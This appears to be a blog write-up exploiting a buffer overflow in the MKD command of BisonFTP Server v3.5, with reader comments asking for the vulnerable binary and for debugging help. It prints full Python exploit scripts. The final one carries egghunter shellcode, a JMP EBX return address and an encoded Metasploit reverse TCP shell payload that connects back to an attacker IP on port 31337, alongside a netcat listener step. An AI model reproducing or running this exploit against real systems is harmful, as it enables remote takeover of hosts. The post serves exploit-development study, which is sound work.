BisonFTP Server v3.5 MKD Buffer Overflow Exploit

Resources

  • Windows Server 2003 Standard
  • Backtrack 5 R3
  • Bison FTP Server v3.5
  • Immunity Debugger
  • pattern_create.rb
  • pattern_offset.rb
  • msfpayload
  • msfencode

During my research I identified that a version of the Bison FTP Server, verison 3.5, was vulnerable to a buffer overflow attack where a buffer is sent along with the MKD command to the server. I wrote a python script which would send a buffer of 2000 bytes in size along with the MKD command to the FTP server to cause the buffer overflow. I attached the Bison FTP Server v3.5 to the Immunity Debugger tool and ran the script against the target.

#!/usr/bin/python
# This exploits connects to the BisonFTP Server v3.5 application and then sends the MKD command along with the buffer to cause a buffer overflow in the application.
from socket import *
import sys, struct, os, time
if (len(sys.argv) < 3):
print "\n BisonFTP Server v3.5 (MKD) Remote BOF and Crash Exploit"
print "\n    Usage: %s <host> <port> \n" %(sys.argv[0])
sys.exit()

print "\n[!] Connecting to %s ..." %(sys.argv[1])

# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(3)

buffer = "\x41" * 2000
buffer += "\r\n"

# send buffer
print "[!] Sending exploit..."
sock.recv(2000)
sock.send('USER anonymous\r\n')
sock.recv(2000)
sock.send('PASS anonymous\r\n')
sock.recv(2000)
sock.send('MKD '+buffer+'\r\n')
sock.recv(2000)
sock.close()
print "[!] Exploit succeed.\n" %(sys.argv[1])
sys.exit()

I could see from the output of the crash shown in the debugger I can see that the bugger has overwritten 4 of the application’s registers.

  • EAX
  • EBX
  • EIP

As the EIP register controls the flow of execution for the application if I am able to take control of the register I will be able to control the register and have the application execute arbitrary code that I send the application. Also from the debugger I can see that the EBX point to the location in memory where the part of my buffer was overwritten too during the overflow. When examining the memory location in dump I identified that about 496 bytes of my buffer were written to this location, this will be useful to know because it determines how large of shellcode I can use.

I now know that I am able to cause a buffer overflow in the application when I send the MKD command as well as a buffer of 2000 bytes. This buffer overflow overwrites the EIP register as well as the EBX register with about 496 bytes of my buffer. My goal is to hijack control of the EIP register and tell the application to jump to the location in memory where the EBX register is pointing to and continue to execute arbitary code placed in this location. I need to do the following tasks to complete my goal:
• I need a RET address that will JMP to the EBX register,
• Positions in the buffer that overwrite the registers.
Using the tool pattern_create.rb from the Metasploit Framework I generated a 2000 byte unique string which will replace my original buffer, then using another tool called pattern_offset.rb again from the Metasploit Framework it will calculate the positions in the buffer that overwrite the registers.

The debugger shows that this time when the application crashed the EIP register was overwritten by the string 376B4236 and the EBX register points to the point in the buffer beginning at j3Bj. Using another tool from the Metasploit Framework called pattern_offset.rb I will be able to identify the points in my buffer that overwrite the registers. The EIP register is overwritten by the buffer at the 1100 byte and the EBX points to the 1060 byte.

This development creates a new problem, that being the EIP register is being overwritten by the buffer, meaning I could hijack the register taking control of the flow of execution of the application and the EBX is pointing to part of the buffer sent to the application, the part of the buffer the EBX is pointing to is about 496 bytes in size. Though the point of the buffer that overwrites the EIP register is 40 bytes after the starting point of where the EBX register is pointing too. This where the problem I only have 40 bytes of room for shellcode. While researching about potentialy solutions for the problem, I came across this interesting shellcode which is referred to as a egghunter shellcode.

The purpose of this egghunter shellcode is search the memory of the target host and identify a specific “tag” and then executes the instructions after the “tag”. So I will add two shellcodes to the exploit, the first being the egghunter shellcode which will search the memory of the host for the “tag” w00tw00t which I will append to the second shellcode which will contain the payload to send a reverse TCP shell back to the attacking machine. The source code for the shellcode can found at this link.

egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

Before modifying the exploit to contain both shellcode, I still need to determine if I can successfully hijack the control of the EIP register. Using the executable module in the Immunity debugger I examined all loaded applications currently running in memory on the target machine for a RET address that would jump to the EBX register, a JMP EBX instruction. I found such a instruction in the user32.dll, the instruction is found at the location memory 77d16764. I modified my current exploit so that the JMP EBX instruction will overwrite the EIP register, placing a break point at the instruction so I am able to see the jump to the EBX register.

#!/usr/bin/python
# This exploits connects to the BisonFTP Server v3.5 application and then sends the MKD command along with the buffer to cause a buffer overflow in the application.

from socket import *
import sys, struct, os, time

if (len(sys.argv) < 3):
print "\n BisonFTP Server v3.5 (MKD) Remote BOF and Crash Exploit"
print "\n    Usage: %s &lt;host&gt; &lt;port&gt; \n" %(sys.argv[0])
sys.exit()

print "\n[!] Connecting to %s ..." %(sys.argv[1])
# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(3)

buffer = "\x41" * 1060
buffer += "\x90" * 40 # NOPSLED
buffer += "\x64\x67\xd1\x77" # JMP EBX, user32.dll, Windows Server 2003 SE ENG
buffer += "\r\n"

# send buffer
print "[!] Sending exploit..."
sock.recv(2000)
sock.send('USER anonymous\r\n')
sock.recv(2000)
sock.send('PASS anonymous\r\n')
sock.recv(2000)
sock.send('MKD ' + buffer + '\r\n')
sock.recv(2000)
sock.close()
print "[!] Exploit succeed.\n" %(sys.argv[1])
sys.exit()

The debugger shows that I have successfully overwritten the EIP register with the correct JMP EBX instruction, notice in the exploit the JMP EBX instruction is written backwards and in the debugger it shows the correct way around. Also note that the EBX register points to the start of the NOPSLED in the dump, this means I have successfully hijacked the EIP register of the application and have it jump to a location in memory contain my shellcode will be placed. Now this has been tested and proved to work I can begin modifying the exploit to contain my two shellcode, as stated above I will be using a egghunter shellcode which will look for the second shellcode I write to memory which is a reverse TCP bindshell and execute the shellcode.

#!/usr/bin/python
# This exploits connects to the BisonFTP Server v3.5 application and then sends the MKD command along with the buffer to cause a buffer overflow in the application.

from socket import *
import sys, struct, os, time

if (len(sys.argv) < 3):
print "\n BisonFTP Server v3.5 (MKD) Remote BOF and Crash Exploit"
print "\n    Usage: %s <host> <port> \n" %(sys.argv[0])
sys.exit()

print "\n[!] Connecting to %s ..." %(sys.argv[1])
# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(3)

# root@phlegethon:/opt/metasploit/msf3# ./msfpayload windows/shell/reverse_tcp lhost=192.168.3.214 lport=31337 R | ./msfencode -b "\x00\x0d\x0a\xff" -t c
# [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
shellcode = ("w00tw00t" + "\xda\xdb\xd9\x74\x24\xf4\x58\x2b\xc9\xbd\x74\x98\x4a\xc2\xb1"
"\x49\x31\x68\x19\x03\x68\x19\x83\xe8\xfc\x96\x6d\xb6\x2a\xdf"
"\x8e\x47\xab\xbf\x07\xa2\x9a\xed\x7c\xa6\x8f\x21\xf6\xea\x23"
"\xca\x5a\x1f\xb7\xbe\x72\x10\x70\x74\xa5\x1f\x81\xb9\x69\xf3"
"\x41\xd8\x15\x0e\x96\x3a\x27\xc1\xeb\x3b\x60\x3c\x03\x69\x39"
"\x4a\xb6\x9d\x4e\x0e\x0b\x9c\x80\x04\x33\xe6\xa5\xdb\xc0\x5c"
"\xa7\x0b\x78\xeb\xef\xb3\xf2\xb3\xcf\xc2\xd7\xa0\x2c\x8c\x5c"
"\x12\xc6\x0f\xb5\x6b\x27\x3e\xf9\x27\x16\x8e\xf4\x36\x5e\x29"
"\xe7\x4d\x94\x49\x9a\x55\x6f\x33\x40\xd0\x72\x93\x03\x42\x57"
"\x25\xc7\x14\x1c\x29\xac\x53\x7a\x2e\x33\xb0\xf0\x4a\xb8\x37"
"\xd7\xda\xfa\x13\xf3\x87\x59\x3a\xa2\x6d\x0f\x43\xb4\xca\xf0"
"\xe1\xbe\xf9\xe5\x93\x9c\x95\xca\xa9\x1e\x66\x45\xba\x6d\x54"
"\xca\x10\xfa\xd4\x83\xbe\xfd\x1b\xbe\x06\x91\xe5\x41\x76\xbb"
"\x21\x15\x26\xd3\x80\x16\xad\x23\x2c\xc3\x61\x74\x82\xbc\xc1"
"\x24\x62\x6d\xa9\x2e\x6d\x52\xc9\x50\xa7\xfb\x63\xaa\x20\xc4"
"\xdb\xb7\x66\xac\x19\xb8\xfc\x44\x94\x5e\x6a\x87\xf0\xc9\x03"
"\x3e\x59\x81\xb2\xbf\x74\xef\xf5\x34\x7a\x0f\xbb\xbc\xf7\x03"
"\x2c\x4d\x42\x79\xfb\x52\x79\x14\x04\xc7\x85\xbf\x53\x7f\x87"
"\xe6\x94\x20\x78\xcd\xae\xe9\xec\xae\xd8\x15\xe0\x2e\x19\x40"
"\x6a\x2f\x71\x34\xce\x7c\x64\x3b\xdb\x10\x35\xae\xe3\x40\xe9"
"\x79\x8b\x6e\xd4\x4e\x14\x90\x33\x4f\x69\x47\x7a\xd5\x9b\xed"
"\x6e\x15")

# Searches memory for tag w00tw00t
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

buffer = shellcode
buffer += "\x90" * (1060-len(shellcode)-len(egghunter))
buffer += egghunter
buffer += "\x64\x67\xd1\x77" # JMP EBX, user32.dll, Windows Server 2003 SE ENG
buffer += "\r\n"

# send buffer
print "[!] Sending exploit..."
sock.recv(2000)
sock.send('USER anonymous\r\n')
sock.recv(2000)
sock.send('PASS anonymous\r\n')
sock.recv(2000)
sock.send('MKD ' + buffer + '\r\n')
sock.recv(2000)
sock.close()
print "[!] Exploit succeed.\n" %(sys.argv[1])
sys.exit()

Before sending the exploit to the target I setup netcat listening for any incoming connection to my machine on port 31337, then I sent the exploit which was successfully executed in full by the application sending me a reverse TCP shell of the remote host.

In this blog post I have fuzzed the application BisonFTP Server v3.5 identifying that a buffer overflow occurs when the application receives a buffer of 1100 bytes along with MKD command. I then used this buffer overflow to execute arbitrary code that I sent the application which in turned allowed me to gain a reverse bindshell from the target machine.

Advertisements

7 comments

  1. Hi,
    The way represented the article shows you efforts, its really cool and good.
    could you please share the download link for the vulnerable version.

      1. Hi,
        I asked for the bison server, how ever i found the server after a long googling in the following URL:ftp://ftp.dk.netbsd.org/.m/mirrors1/Archived/papa.indstate.edu/winsock/Windows95/Daemons/FTPD/bisonftp.zip.

        I have prepared my test bed as windows xp(bison sever) ans backtrack as the attacker machine.

        I wrote a simple python script which sends 3000 A’s to the ftp server along with the MKD command. But it does not changed any EBX and EIP values in my case.

        Could you please help me out with this.

        Waiting for an early response.

        Thanks,
        Mahendra.
        4mahendranath@gmail.com

      2. What is the message you get in your debugging program? I found in my case sometimes my ebx and eip registers would be overwritten as soon as I run the fuzzing script and then in other cases I had to step pass an exception point before I was able to identify that I had successfully overwritten the target registers.

      3. Hi,

        Thanks for reply, here are the register status before fuzz and after fuzz.

        I have attached the screenshots of the debugger herewith the email.

        Registers when program starts: ================================

        EAX FEEEFEEE ECX 00000400 EDX 00CB0008 EBX 00000000 ESP 0012F32C EBP 0012F420 ESI 00000000 EDI 00000000 EIP 7C90EB94 ntdll.KiFastSystemCallRet C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 1 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 1 FS 003B 32bit 7FFDE000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00000296 (NO,NB,NE,A,S,PE,L,LE) ST0 empty -??? FFFF 00700070 00700070 ST1 empty -??? FFFF 00F000F0 00F000F0 ST2 empty -??? FFFF 00000038 00480065 ST3 empty -??? FFFF 00000078 009B00D9 ST4 empty -??? FFFF 0F7FA3E6 8F92ACE9 ST5 empty 1.0000000000000000000 ST6 empty 1.1574074074074074070e-08 ST7 empty 41420.502142638892110 3 2 1 0 E S P U O Z D I FST 4020 Cond 1 0 0 0 Err 0 0 1 0 0 0 0 0 (EQ) FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0

        Registers after fuzzing: ==========================

        EAX EA000000 ECX 00000000 EDX 0012FBC4 EBX 009C3841 ESP 0012FBBC EBP 0012FBD4 ESI 009C3841 EDI 0012FC08 EIP 0D000000 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDF000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G) ST0 empty -??? FFFF 00005FEE 0F0566FB ST1 empty -??? FFFF 00000000 0F05070D ST2 empty -??? FFFF 00000000 00060010 ST3 empty -??? FFFF 00000000 002C006F ST4 empty -NAN FFFF 8F669BF5 EFE5EDFD ST5 empty 1.0000000000000000000 ST6 empty 1.0000000000000000000 ST7 empty 1.0000000000000000000 3 2 1 0 E S P U O Z D I FST 4020 Cond 1 0 0 0 Err 0 0 1 0 0 0 0 0 (EQ) FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0

        Thnaks & Regards, Mahendra Nath

    1. Hi sorry for the delay in reply. The information that you sent me isn’t enough for me to help diagnose the problem, as it could be to do with you’re setup or you’re fuzzing script and etc.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s